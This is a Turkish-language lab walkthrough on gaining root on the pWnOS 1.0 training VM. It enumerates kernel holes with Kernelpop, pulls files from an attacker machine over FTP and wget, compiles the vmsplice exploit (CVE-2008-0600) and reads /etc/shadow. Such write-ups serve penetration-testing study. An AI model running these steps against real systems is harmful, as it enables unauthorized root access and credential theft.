Kernelpop Betiği ile Tespit Edilen İşletim Sistemi Zafiyetinin İstismar Edilerek root Yetkileri ile Komut Satırının Elde Edilmesi

0
172
views
Linux sızma testleri sırasında standart haklar ile erişim sağlanabilmiş bir bilgisayarda, hak yükseltilerek yönetici hakları elde edilmeye çalışılır. Hak yükseltmek için kullanılan yöntemlerden birisi de işletim sistemi zafiyetinin istismar edilmesidir. Bu yazıda, pWnOS: 1.0 sanal makinesindeki CVE-2008-0009, CVE-2008-0010 ve CVE-2008-0600 ID’li işletim sistemi zafiyeti Kernelpop betiği ile tespit edilecek ve standart kullanıcı haklarından “root” kullanıcısı hakkı ile komut satırı elde edilecektir.

Yazıda kullanılan pWnOS: 1.0 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/pwnos-10,33/

 

Not: VMware Workstation üzerinden kullanım durumlarında sanal makinenin Copy değil, Moved olarak içeri aktarılması tavsiye edilmektedir.

 

Bu makineye aşağıdaki bilgiler ile SSH servisi üzerinden erişim sağlanabilir.

Kullanıcı Adı: vwmare
Parola: h4ckm3

 

Linux işletim sistemine standart kullanıcı yetkisine sahip bir kullanıcı (vmware) ile erişime sahip olunduğu görülmektedir.

id
grep -Ev “/bin/false$|/usr/sbin/nologin$” /etc/passwd

 

Sanal makinenin işletim sisteminin Ubuntu 7.10, çekirdeğinin de 2.6.22-14-server olduğu görülmektedir.

uname -a
cat /etc/*release*

 

Muhtemel hak yükseltme zafiyetlerinin listesi için Kernelpop (Kernel Privilege Escalation Enumeration And Exploitation Framework) isimli Python betiği kullanılabilir.

git clone https://github.com/spencerdodd/kernelpop.git
ls kernelpop/ -la

 

Kurban makineye betiği transfer etmek için FTP servisi başlatılabilir.

python -m pyftpdlib -p 21 -w
pip install pyftpdlib
python -m pyftpdlib -p 21 -w

 

Kurban bilgisayarda da FTP servisine bağlanarak ilgili dosyalar “get” komutu ile tek tek alınabilir.

ftp 10.100.50.135
anonymous
BirParola
cd kernelpop
dir
bye

 

Ancak çok sayıda dosya ve dizin olması durumunda tek tek dosyaları almak yerine “wget” aracı ile toplu bir şekilde alınabilir.

wget -r -nH -nc ftp://anonymous:BirParola@10.100.50.135//kernelpop

 

FTP sunucusu tarafında da bu dosyaların alındığı görülmektedir.

 

Ancak “kernelpop.py” betiği kurban sanal makinesinde çalıştırılamamaktadır.

ls
cd kernelpop/
ls
python kernelpop.py

 

Bu sebeple, “kernelpop.py” betiği “python3” yüklü olan Kali makinede çalıştırılacaktır.

cd kernelpop/
python3 kernelpop.py -h

 

uname -a” çıktısı betiğe verildiğinde zafiyetler listelenmektedir.

python3 kernelpop.py -i
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux

 

Not: Uyarı mesajında da görüldüğü gibi, betiğin zafiyet aranan makinede çalışması daha doğru/stabil sonuçlar verecektir.

“CVE20080600 vmsplice_to_pipe 2.6.17 through 2.6.24.1” ile belirtilen zafiyet ve daha bir çok zafiyet listelenmiştir. “Linux Kernel 2.6.17 < 2.6.24.1 – ‘vmsplice’ Local Privilege Escalation (2)” isimli CVE-2008-0009, CVE-2008-0010 ve CVE-2008-0600 ID’li zafiyete ait kod internetten indirilip çalıştırılabilir. Bu istismar kodu ayrıca “jessica_biel_naked_in_my_bed.c“, “vmsplice1.c” olarak da adlandırılmakta ve kernelpop.py betiğindeki çıktıda da bu zafiyet önerileri görülmektedir.

https://www.exploit-db.com/exploits/5092/

 

İstismar kodu internetten Kali makineye indirilir.

wget https://www.exploit-db.com/raw/5092/ -O 5092.c

 

Kali makine üzerinde açılan FTP servisi üzerinden de kurban makineye iletilir.

python -m pyftpdlib -p 21 -w

ftp 10.100.50.135
anonymous
BirParola
get 5092.c
bye

 

İstismar kodu derlenir.

gcc 5092.c -o HakYukselt-vmsplice-5092
ls -la *5092*

 

Böylece hak yükseltilebilmiştir.

id
./HakYukselt-vmsplice-5092
cat /etc/shadow | grep -Ev “:\*:|:\!:”

 

 

Kaynaklar:

https://www.kitploit.com/2017/11/kernelpop-kernel-privilege-escalation.html
https://chousensha.github.io/blog/2016/02/15/pentest-lab-pwnos/
https://ub3rsec.github.io/pages/2016/pwnos10.html

 

 

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz